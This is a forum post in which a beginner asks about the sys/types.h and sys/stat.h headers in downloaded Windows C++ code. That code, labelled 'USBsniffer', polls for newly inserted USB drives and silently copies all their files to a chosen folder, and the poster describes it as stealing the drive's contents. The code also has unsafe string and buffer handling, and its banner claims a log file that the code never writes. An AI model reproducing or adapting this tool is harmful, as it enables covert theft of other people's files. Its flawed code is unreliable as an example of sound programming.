sys/types.h和sys/stat.h文件的引用问题

u010019491 2013-04-05 08:36:08
我在网上下载了以下这样的一段代码,但是对于程序中引用的两个头文件不是很明白,希望大家可以指点下。
程序引用到了sys/types.h和sys/stat.h这两个头文件。起初我不明白这两个头文件的作用,我就百度了一下,说是在Unix/Linux系统编程要用到的头文件,于是我就纳闷了,既然是在Unix/Linux系统下用到的,为什么我的程序在win7系统下用VC6.0编译运行可以通过,这是怎么一回事? 还有引用的sys是个什么东东呀,以前从来没有接触过这个东东,麻烦大家详解下,谢谢了


#include <iostream>
#include <stdlib.h>
#include <io.h>
#include <windows.h>
#include <string>
#include <sys/types.h>
#include <sys/stat.h>
using namespace std;

void copyfiles(string source,char *target);
char *StringToChar(string source);
bool IsDirectory(const char* fname);
void Init();

int main(int argc,char **argv)
{
if(argc!=2)
{
Init();
}
else
{
while(access(*(argv+1),0)==0)
{
// if directory already exist,this will auto add '\1' back it;
strcat(*(argv+1),"\\1\\");
}
if(CreateDirectory(*(argv+1),NULL))
{
DWORD frist=GetLogicalDrives();
DWORD second,n=0;
string targetPath="0";
while(1)
{
// every 3 seconds to estimate if there is a USB device
Sleep(3000);
second=GetLogicalDrives();
if(second-frist>0)
{
second-=frist;
while(second>>=1) n++;
targetPath[0]=n+65;
targetPath+=":\\*";
copyfiles(targetPath,*(argv+1));
return 0;
}
}
}
}

return 0;
}

void copyfiles(string source,char *target)
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
char *sourceDir=0;
int len;
sourceDir=StringToChar(source);
len=strlen(sourceDir);
hFind = FindFirstFile(sourceDir, &FindFileData); //find the target dirctory's frist file;
sourceDir[len-1]='\0'; // take out '*';
while(1)
{
if(hFind == INVALID_HANDLE_VALUE)
{
//file found error
break;
}
else
{
char temp[200];
char tempPath[200],tempSource[200];
strcpy(temp,sourceDir);
strcat(temp,FindFileData.cFileName);
if(IsDirectory(temp)== true)
{
//estimate whether is a directory
if(strcmp(FindFileData.cFileName,".")&&strcmp(FindFileData.cFileName,".."))
{
//take out . & ..dirc
strcpy(tempSource,sourceDir);
strcat(tempSource,FindFileData.cFileName);
strcpy(tempPath,target);
strcat(tempPath,FindFileData.cFileName);
CreateDirectory(tempPath,NULL);
strcat(tempSource,"\\*");
strcat(tempPath,"\\");
copyfiles(tempSource,tempPath); //Recursion
}

}
else
{
//if is a file,copy to target dirc
strcpy(tempSource,sourceDir);
strcpy(tempPath,target);
strcat(tempPath,FindFileData.cFileName);
strcat(tempSource,FindFileData.cFileName);
CopyFile(tempSource,tempPath,false);
}
if(FindNextFile(hFind,&FindFileData)==0)
break; //found the next file
}
}
FindClose(hFind); //handle closed;

}

char* StringToChar(string source)
{
//string convent to char*
char *ch=new char[source.length()];
ch=(char*)source.c_str();
return ch;
}

bool IsDirectory(const char* fname) //Directory estimate
{
return FILE_ATTRIBUTE_DIRECTORY == GetFileAttributes(fname) ? true : false;
}

void Init()
{
//init function
cout<<" USBsniffer v1.0 "<<endl
<<"e.g: usbsniffer c:\\usb\\"<<endl
<<" Then the USB Device'all files will be copy to the directory of c:\\usb\\ without any movement"
<<",and the whole log will be saved to c:\\log.txt"<<endl
<<" Witten By Colorblue QQ:773676933"<<endl
<<" 2011.09.12"<<endl;
}



这个程序的功能就是:

本程序以3秒为周期,自动检测本地磁盘改动信息,如果发现有移动硬盘

或者U盘等USB存储设备后,会主动窃取其中所有信息,并保存在用户指定路
...全文
107 回复 打赏 收藏 转发到动态 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

64,644

社区成员

发帖
与我相关
我的任务
社区描述
C++ 语言相关问题讨论,技术干货分享,前沿动态等
c++ 技术论坛(原bbs)
社区管理员
  • C++ 语言社区
  • encoderlee
  • paschen
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
  1. 请不要发布与C++技术无关的贴子
  2. 请不要发布与技术无关的招聘、广告的帖子
  3. 请尽可能的描述清楚你的问题,如果涉及到代码请尽可能的格式化一下

试试用AI创作助手写篇文章吧